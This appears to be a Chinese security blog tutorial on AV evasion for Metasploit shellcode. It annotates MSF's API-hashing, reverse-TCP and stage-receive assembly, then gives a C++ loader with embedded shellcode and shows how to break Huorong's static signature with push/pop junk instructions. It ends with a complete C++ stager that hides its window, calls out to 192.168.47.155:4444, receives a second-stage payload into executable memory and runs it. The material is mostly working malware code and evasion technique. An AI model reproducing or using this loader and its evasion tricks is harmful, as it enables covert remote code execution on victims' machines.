MSF实战免杀过静态:ShellCode加花指令

时间:2022-10-01 01:11:26

分析MSF的ShellCode

1.Hash寻找系统API函数

由于ShellCode是没有PE结构的,无法通过导入表来调用系统的API函数,因此,这部分是一个通用的API调用函数,它可以根据给定的哈希值查找并调用相应的API。在查找API时,它会遍历已加载模块的列表以及每个模块的导出地址表。这个函数在Shellcode中非常重要,因为它可以让我们不用硬编码API函数地址,而是动态地查找和调用它们。

;-----------------------------------------------------------------------------;
; 作者: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; 兼容性: NT4 及更新版本
; 架构: x86
; 大小: 140 字节
;-----------------------------------------------------------------------------;

[BITS 32]

; 输入: 要调用的API的哈希和所有参数必须被推送到栈上。
; 输出: API调用的返回值将在EAX寄存器中。
; 破坏: EAX, ECX和EDX (像正常的stdcall调用约定一样)
; 未破坏: 可以期望EBX、ESI、EDI、ESP和EBP保持不变。
; 注意: 该函数假定方向标志已经通过CLD指令清除。
; 注意: 该函数无法调用已转发的导出项。

api_call:
    pushad ; 保存所有寄存器给调用者,除了EAX和ECX。
    mov ebp, esp ; 创建新的堆栈帧
    xor edx, edx ; 将EDX清零
    mov edx, [fs:edx+0x30] ; 获取PEB的指针
    mov edx, [edx+0xc] ; 获取PEB->Ldr
    mov edx, [edx+0x14] ; 从内存中按顺序获取模块列表的第一个模块
next_mod: ;
    mov esi, [edx+0x28] ; 获取指向模块名称(Unicode字符串)的指针
    movzx ecx, word [edx+0x26] ; 将ECX设置为要检查的长度
    xor edi, edi ; 清除EDI,它将存储模块名称的哈希值
loop_modname: ;
    xor eax, eax ; 将EAX清零
    lodsb ; 读取名称的下一个字节
    cmp al, 'a' ; 一些版本的Windows使用小写模块名
    jl not_lowercase ;
	sub al, 0x20 ; 如果是,就将其归一化为大写字母
not_lowercase: ;
    ror edi, 0xd ; 将哈希值向右旋转
    add edi, eax ; 添加名称的下一个字节
    dec ecx
    jnz loop_modname ; 循环,直到读取了足够的字节
    ; 现在我们已经计算出了模块哈希
    push edx ; 为以后保存当前在模块列表中的位置
    push edi ; 为以后保存当前模块哈希
    ; 继续迭代导出地址表,
    mov edx, [edx+0x10] ; 获取此模块的基地址
    mov eax, [edx+0x3c] ; 获取PE头
    add eax, edx ; 添加模块的基地址
    mov eax, [eax+0x78] ; 获取导出表的RVA
    test eax, eax ; 测试是否没有导出地址表
    jz get_next_mod1 ; 如果没有EAT,则处理下一个模块
    add eax, edx ; 添加模块的基地址
    push eax ; 保存当前模块的EAT
    mov ecx, [eax+0x18] ; 获取函数名称的数量
    mov ebx, [eax+0x20] ; 获取函数名称的RVA
    add ebx, edx ; 添加模块的基地址
    ; 计算模块哈希 + 函数哈希
get_next_func: ;
    test ecx, ecx ; 由于下面的随机jmp产生的较大偏移量而更改自jcxz
    jz get_next_mod ; 当我们到达EAT的开始(我们向后搜索)时,处理下一个模块
    dec ecx ; 减少函数名称计数器
    mov esi, [ebx+ecx4] ; 获取下一个模块名称的RVA
    add esi, edx ; 添加模块的基地址
    xor edi, edi ; 清除EDI,它将存储函数名称的哈希值
    ; 并将其与我们要搜索的哈希值进行比较
    loop_funcname: ;
    xor eax, eax ; 将EAX清零
    lodsb ; 读取ASCII函数名称的下一个字节
    ror edi, 0xd ; 将哈希值向右旋转
    add edi, eax ; 添加名称的下一个字节
    cmp al, ah ; 将AL(名称的下一个字节)与AH(空值)进行比较
    jne loop_funcname ; 如果我们没有到达空终止符,就继续循环
    add edi, [ebp-8] ; 将当前模块哈希添加到函数哈希中
    cmp edi, [ebp+0x24] ; 将哈希与我们要搜索的哈希进行比较
    jnz get_next_func ; 如果我们没有找到它,就去计算下一个函数哈希
    ; 如果找到了,则修复堆栈,调用函数,然后返回值,否则计算下一个...
    pop eax ; 恢复当前模块的EAT
    mov ebx, [eax+0x24] ; 获取序数表的RVA
    add ebx, edx ; 添加模块的基地址
    mov cx, [ebx+2ecx] ; 获取所需函数的序数
    mov ebx, [eax+0x1c] ; 获取函数地址表的RVA
    add ebx, edx ; 添加模块的基地址
    mov eax, [ebx+4*ecx] ; 获取所需函数的RVA
    add eax, edx ; 将模块的基地址添加到获取函数的实际VA中
    ; 现在我们修复堆栈并调用所需的函数...
finish:
    mov [esp+0x24], eax ; 用即将进行的popad覆盖旧的EAX值
    pop ebx ; 清除当前模块哈    
    pop ebx ; 清除当前在模块列表中的位置
    popad ; 恢复调用者的所有寄存器,除了被破坏的EAX、ECX和EDX
    pop ecx ; 弹出调用者将要推送的原始返回地址
    pop edx ; 弹出调用者将要推送的哈希值
    push ecx ; 推回正确的返回值
    jmp eax ; 跳转到所需的函数
    ; 现在我们会自动返回到正确的调用者...

get_next_mod: ;
    pop eax ; 弹出当前(现在是上一个)模块的EAT
get_next_mod1: ;
    pop edi ; 弹出当前(现在是上一个)模块的哈希值
    pop edx ; 恢复我们在模块列表中的位置
    mov edx, [edx] ; 获取下一个模块
    jmp next_mod ; 处理此模块

2.建立反向TCP连接

这部分是一个创建反向TCP连接的Shellcode。首先,它加载ws2_32.dll库以使用网络功能,并调用WSAStartup函数初始化Winsock。接下来,它创建一个TCP套接字,并尝试连接到指定的IP地址和端口。如果连接失败,它会尝试重新连接,直到成功或达到最大重试次数。连接成功后,它将套接字存储在EDI寄存器中,以便在后续的Shellcode中使用

;-----------------------------------------------------------------------------;
; 作者: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; 兼容: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; 版本: 1.0 (2009年7月24日)
;-----------------------------------------------------------------------------;
[BITS 32]

; 输入: EBP必须是'api_call'的地址。
; 输出: EDI将是与服务器连接的套接字。
; 破坏: EAX、ESI、EDI、ESP也会被修改(-0x1A0)

reverse_tcp:
    push 0x00003233 ; 将'ws2_32'、0、0的字节推送到堆栈上。
    push 0x5F327377 ; ...
    push esp ; 将指向"ws2_32"字符串的指针推送到堆栈上。
    push 0x0726774C ; hash("kernel32.dll", "LoadLibraryA")
    call ebp ; LoadLibraryA("ws2_32")

    mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
    sub esp, eax ; 为WSAData结构分配一些空间
    push esp ; 将一个指向此结构的指针推送到堆栈上
    push eax ; 将wVersionRequested参数推送到堆栈上
    push 0x006B8029 ; hash("ws2_32.dll", "WSAStartup")
    call ebp ; WSAStartup(0x0190, &WSAData);

    push eax ; 如果成功,eax将为零,为标志参数推送零。
    push eax ; 为保留参数推送空值
    push eax ; 我们不指定WSAPROTOCOL_INFO结构
    push eax ; 我们不指定协议
    inc eax ;
    push eax ; 推送SOCK_STREAM
    inc eax ;
    push eax ; 推送AF_INET
    push 0xE0DF0FEA ; hash("ws2_32.dll", "WSASocketA")
    call ebp ; WSASocketA(AF_INET, SOCK_STREAM, 0, 0, 0, 0);
    xchg edi, eax ; 保存套接字以备后用,不关心eax的值

set_address:
    push byte 0x05 ; 重试计数器
    push 0x0100007F ; 主机127.0.0.1
    push 0x5C110002 ; family为AF_INET,端口为4444
    mov esi, esp ; 保存sockaddr结构的指针

try_connect:
    push byte 16 ; sockaddr结构的长度
    push esi ; sockaddr结构的指针
    push edi ; 套接字
    push 0x6174A599 ; hash("ws2_32.dll", "connect")
    call ebp ; connect(s, &sockaddr, 16);

    test eax,eax ; 非零表示失败
	jz short connected

handle_failure:
    dec dword [esi+8]
    jnz; 短跳转到try_connect标签处继续尝试连接

failure:
    push 0x56A2B5F0 ; 硬编码为exitprocess以控制大小
    call ebp

connected:

3.接收并执行命令

这部分主要用于接收和执行来自反向TCP连接的第二阶段Payload。首先,它调用recv函数接收第二阶段Payload的长度。然后,它使用VirtualAlloc函数分配一个具有执行权限的内存缓冲区,用于存储接收到的第二阶段Payload。接下来,它通过recv函数将Payload接收到分配的缓冲区。最后,它跳转到缓冲区的地址,执行接收到的第二阶段Payload

;-----------------------------------------------------------------------------;
; 作者:Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; 兼容性:Windows 7,2008,Vista,2003,XP,2000,NT4
; 版本:1.0(2009年7月24日)
;-----------------------------------------------------------------------------;
[BITS 32]

; 兼容性:block_bind_tcp,block_reverse_tcp,block_reverse_ipv6_tcp

; 输入:EBP必须是'api_call'的地址。EDI必须是套接字。ESI是堆栈上的指针。
; 输出:无。
; 修改:EAX,EBX,ESI,(ESP也将被修改)

recv:
    ; 接收第二阶段的大小...
    push byte 0 ; 标志
    push byte 4 ; 长度 = sizeof( DWORD );
    push esi ; 在堆栈上的4字节缓冲区来保存第二阶段的长度
    push edi ; 已保存的套接字
    push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
    call ebp ; recv( s, &dwLength, 4, 0 );
    ; 为第二阶段分配一个RWX缓冲区
    mov esi, [esi] ; 解引用指向第二阶段长度的指针
    push byte 0x40 ; PAGE_EXECUTE_READWRITE
    push 0x1000 ; MEM_COMMIT
    push esi ; 推入新接收到的第二阶段长度。
    push byte 0 ; NULL,因为我们不在意分配的位置。
    push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
    call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
    ; 接收并执行第二阶段...
    xchg ebx, eax ; ebx = 新内存地址,用于存放新的第二阶段代码
    push ebx ; 推入新第二阶段的地址,以便我们可以跳转到其中
read_more: ;
    push byte 0 ; 标志
    push esi ; 长度
    push ebx ; 当前指向我们的第二阶段RWX缓冲区的地址
    push edi ; 已保存的套接字
    push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
    call ebp ; recv( s, buffer, length, 0 );
    add ebx, eax ; buffer += bytes_received
    sub esi, eax ; length -= bytes_received, 将设置标志
    jnz read_more ; 如果还有要读取的内容,则继续
    ret ; 跳转到第二阶段代码中执行

总结

第一部分(api_call)是一个通用API调用函数,用于动态查找和调用API。第二部分(reverse_tcp)创建一个反向TCP连接,将本地机器连接到攻击者的监听器。第三部分(recv)负责接收并执行第二阶段Payload。这三部分共同实现了一段完整的Shellcode,用于反向连接攻击者机器并执行远程指令


免杀实战

1.修改API函数的Hash值

在MSF ShellCode的第一段汇编指令中,有一个ror指令,其后接一个立即数,这个立即数十分重要。可以发现,在上述汇编指令中每一个api函数的hash值都是固定的,这种情况就很容易被杀毒通过排查特征码查杀掉,但是可以通过修改ror指令后面的立即数来改变api函数的hash值

MSF实战免杀过静态:ShellCode加花指令


可使用apihashreplace.py脚本对MSF生成的二进制Shellcode文件进行修改ror指令后的立即数值,使用方法如下, 32位系统下的ShellCode就输入32,同理64位则输入64

python3 apihashreplace.py 32 1.bin

MSF实战免杀过静态:ShellCode加花指令


修改完后会在当前目录生成0x?.bin,如下图所示

MSF实战免杀过静态:ShellCode加花指令


2.将ShellCode写入Cpp

使用winhex或者editor工具复制bin文件的十六进制内容至C++项目中, 如下代码所示,随后生成可执行文件

pragma comment(linker, "/section:.data,RWE")//对于内存的保护属性 可读可写可执行

//从Bin文件复制过来的ShellCode
unsigned char buf[] =
"\xFC\xE8\x8F\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B"
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0"
"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x07\x01\xC7\x49\x75\xEF\x52"
"\x8B\x52\x10\x57\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4C"
"\x01\xD0\x8B\x48\x18\x8B\x58\x20\x01\xD3\x50\x85\xC9\x74\x3C\x49"
"\x8B\x34\x8B\x31\xFF\x01\xD6\x31\xC0\xC1\xCF\x07\xAC\x01\xC7\x38"
"\xE0\x75\xF4\x03\x7D\xF8\x3B\x7D\x24\x75\xE0\x58\x8B\x58\x24\x01"
"\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89"
"\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12"
"\xE9\x80\xFF\xFF\xFF\x5D\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F"
"\x54\x68\xd2\x53\x6e\xfc\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29"
"\xc4\x54\x50\x68\x9c\x13\x41\xc4\xff\xd5\x6a\x0a\x68\xc0\xa8\x2f"
"\x9b\x68\x02\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
"\x68\x2c\x9b\xfc\xa4\xff\xd5\x97\x6a\x10\x56\x57\x68\xb6\x59\xc0"
"\x0e\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\xe8\xd9\xce\x36\xff\xd5\x83\xf8"
"\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68"
"\x9c\xed\x92\x66\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\xe8\xd9"
"\xce\x36\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a"
"\x00\x50\x68\x3e\xba\x17\xa3\xff\xd5\x57\x68\xe6\xfc\xe1\xe2\xff"
"\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff"
"\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xfc\xd3\xf4\x5e\x6a\x00\x53"
"\xff\xd5";

void main() {
	__asm {
		lea eax,buf
		call eax
	}
}

3.定位报毒特征码

生成的可执行文件很快就被火绒干掉了,使用工具Virtest5.0来查看哪处的特征码被查杀掉了, 此处我就不演示此款工具的使用方法了,在1ceb偏移处有4个字节被查杀了,分别是FC A4 FF D5

MSF实战免杀过静态:ShellCode加花指令


将可执行文件放入OD调试, 通过偏移量或者特征码跳转至FC A4 FF D5所在位置, FF D5 表示的汇编指令是call ebp, FC A4属于立即数0XA4FC982C的一部分

MSF实战免杀过静态:ShellCode加花指令


4.修改报毒特征码

首先判断火绒查杀的是否是立即数的内容, 在ShellCode修改立即数的报毒部分, 此处我将\xa4的值修改成了\xa1, 修改完后火绒没有报毒

MSF实战免杀过静态:ShellCode加花指令


但是通过上述MSF的Shellcode组成部分可以得知, 这个立即数表示WSASocketA函数的地址hash值, 也就是说这段内容修改了后ShellCode就会失效

MSF实战免杀过静态:ShellCode加花指令

于是采用第二个方法:加花指令。这里我用点简单花指令push eaxpop eax, 其对应的硬编码分别是\x50\x58, 将花指令添加到立即数得后面, 即报毒特征码FC A4 FF D5的中间

MSF实战免杀过静态:ShellCode加花指令


再次生成可执行文件后火绒不会查杀了, 而且msf也能正常上线

MSF实战免杀过静态:ShellCode加花指令


Meterpreter的C++版本

项目代码

include <WinSock2.h>
include <stdio.h>
pragma warning (disable: 4996)
pragma comment(lib,"WS2_32.lib")
include<windows.h>

int main(int argc, char** argv)
{
	// 隐藏当前窗口
	ShowWindow(GetForegroundWindow(), 0);

	// 初始化 WinSock 并分配资源
	WSADATA wsData;
	if (WSAStartup(MAKEWORD(2, 2), &wsData))
	{
		printf("WSAStartup failed.\n");
		return 0;
	}
	
	// 创建 socket 并连接到服务器
	SOCKET sock = WSASocket(AF_INET, SOCK_STREAM, 0, 0, 0, 0);
	SOCKADDR_IN server;
	ZeroMemory(&server, sizeof(SOCKADDR_IN));
	server.sin_family = AF_INET;
	server.sin_addr.s_addr = inet_addr("192.168.47.155"); // 服务器 IP
	server.sin_port = htons(4444); // 服务器端口
	if (SOCKET_ERROR == connect(sock, (SOCKADDR*)&server, sizeof(server)))
	{
		printf("connect to server failed.\n");
		goto Fail;
	}

	// 接收载荷长度
	u_int payloadLen;
	if (recv(sock, (char*)&payloadLen, sizeof(payloadLen), 0) != sizeof(payloadLen))
	{
		printf("recv error\n");
		goto Fail;
	}

	// 分配内存空间以接收实际载荷
	char* orig_buffer;
	orig_buffer = (char*)VirtualAlloc(NULL, payloadLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	char* buffer;
	buffer = orig_buffer;
	int ret;
	ret = 0;
	do
	{
		ret = recv(sock, buffer, payloadLen, 0);
		buffer += ret;
		payloadLen -= ret;
	} while (ret > 0 && payloadLen > 0);

	// 将参数传入并执行载荷
	__asm
	{
		mov edi, sock;   // 将 sock 存储在 edi 寄存器中
		jmp orig_buffer; // 转移执行权至载荷,不要指望它返回。如果想要它返回,修改量比较大,不如把这个地方做成个线程,监听端设置退出时ExitThread更方便
	}

	// 释放内存空间
	VirtualFree(orig_buffer, 0, MEM_RELEASE);

Fail:
	// 关闭 socket 并清理 WinSock 资源
	closesocket(sock);
	WSACleanup();
	return 0;
}

项目代码分析

1.主函数定义实现隐藏窗口

这里定义了主函数 main,并使用 ShowWindow 函数隐藏当前窗口

int main(int argc, char** argv)
{
    ShowWindow(GetForegroundWindow(), 0);
}

2.初始化WinSock

WSADATA wsData;
if (WSAStartup(MAKEWORD(2, 2), &wsData))
{
    printf("WSAStartup failed.\n");
    return 0;
}

这段代码初始化 WinSock 库并检查是否成功。如果失败,程序将输出错误信息并退出。

3.创建socket并连接服务器

SOCKET sock = WSASocket(AF_INET, SOCK_STREAM, 0, 0, 0, 0);  //这行代码使用 WSASocket 函数创建了一个新的 socket。参数 AF_INET 表示使用 IPv4 地址族,SOCK_STREAM 表示使用可靠的字节流套接字(TCP)。其他参数为0,表示使用默认的协议和选项

SOCKADDR_IN server;  //定义服务器地址结构体

ZeroMemory(&server, sizeof(SOCKADDR_IN));  //清零服务器地址结构体

server.sin_family = AF_INET;  //将服务器地址结构体的地址族设置为 AF_INET,表示使用 IPv4

server.sin_addr.s_addr = inet_addr("192.168.47.155");  //将服务器 IP 地址设置为 "192.168.47.155"。inet_addr 函数将点分十进制表示的 IP 地址转换为网络字节序的 32 位整数

server.sin_port = htons(4444);  //将服务器的端口设置为4444,htons函数将主机字节序的整数(本例中为4444)转换为网络字节序的整数

//使用 connect 函数尝试连接到服务器。connect 函数接受三个参数:已创建的 socket,一个指向服务器地址结构体的指针(需要将其转换为 SOCKADDR* 类型),以及服务器地址结构体的大小。如果连接失败,connect 函数将返回 SOCKET_ERROR,然后输出错误信息并跳转到 Fail 标签进行资源清理
if (SOCKET_ERROR == connect(sock, (SOCKADDR*)&server, sizeof(server)))  //
{
    printf("connect to server failed.\n");
    goto Fail;
}

这部分代码创建了一个新的 socket,并设置服务器的 IP 地址和端口。然后尝试连接到服务器。如果连接失败,程序将输出错误信息并跳转到 Fail 标签


4.从服务器接收载荷(payload)长度

u_int payloadLen;
if (recv(sock, (char*)&payloadLen, sizeof(payloadLen), 0) != sizeof(payloadLen))
{
    printf("recv error\n");
    goto Fail;
}

这段代码接收服务器发送的载荷长度。如果接收失败,程序将输出错误信息并跳转到 Fail 标签


5.分配内存空间以接收实际载荷,并从服务器接收载荷

char* orig_buffer;
orig_buffer = (char*)VirtualAlloc(NULL, payloadLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
char* buffer;
buffer = orig_buffer;
int ret;
ret = 0;
do
{
ret = recv(sock, buffer, payloadLen, 0);
buffer += ret;
payloadLen -= ret;
} while (ret > 0 && payloadLen > 0);

这部分代码首先分配足够的内存空间以接收实际载荷。然后,使用循环从服务器接收载荷,直到接收完毕


6.执行载荷

__asm
{
    mov edi, sock;
    jmp orig_buffer;
}

这段代码是用内嵌汇编编写的。它将 sock 的值移动到 edi 寄存器中,然后将执行权跳转到 orig_buffer 指向的内存地址。这意味着程序将开始执行接收到的载荷


7.释放内存空间以及处理失败的情况

VirtualFree(orig_buffer, 0, MEM_RELEASE);

Fail:
    closesocket(sock);
    WSACleanup();
    return 0;

释放了之前分配的 orig_buffer 内存空间,若在前面的代码发生了错误,程序将跳转至这里,随后关闭socket和清理WinSock使用的资源


项目测试

在虚拟机运行的时候把Windows Defener关掉了,因为过不了动态查杀,但是静态还是能过的

MSF实战免杀过静态:ShellCode加花指令